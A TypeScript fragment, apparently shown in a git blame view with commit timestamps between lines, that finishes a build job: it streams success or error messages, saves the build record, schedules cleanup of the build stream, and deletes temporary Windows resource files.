sendToStream ({ type : "output" , text : ` \ n[OK] Build completed successfully! \ n` , level : "success" });
2026-03-05 00:04:26 -06:00
sendToStream ({ type : "complete" , success : true , files : build.files , buildId , expiresAt : build.expiresAt });
saveBuild ({
id : build.id ,
status : build.status ,
startTime : build.startTime ,
expiresAt : build.expiresAt ,
files : build.files as any ,
2026-03-12 21:26:53 -05:00
buildTag ,
builtByUserId : config.builtByUserId ,
2026-03-05 00:04:26 -06:00
});
setTimeout (() => {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Cleaning up expired build` );
buildManager . deleteBuildStream ( buildId );
}, SEVEN_DAYS_MS );
} catch ( err : any ) {
build . status = "failed" ;
logger . error ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Build failed:` , err );
sendToStream ({ type : "error" , error : err.message || String ( err ) });
sendToStream ({ type : "complete" , success : false , buildId });
setTimeout (() => {
logger . info ( `[build: ${ buildId . substring ( 0 , 8 ) } ] Cleaning up failed build stream` );
buildManager . deleteBuildStream ( buildId );
}, 60 * 60 * 1000 );
2026-03-06 13:07:56 -06:00
} finally {
clearInterval ( keepAliveTimer );
2026-03-16 14:09:06 +01:00
for ( const sysoFile of generatedSysoFiles ) {
try { fs . unlinkSync ( sysoFile ); } catch {}
}
if ( winresTempDir ) {
try { fs . rmSync ( winresTempDir , { recursive : true , force : true }); } catch {}
}
2026-03-05 00:04:26 -06:00
}
}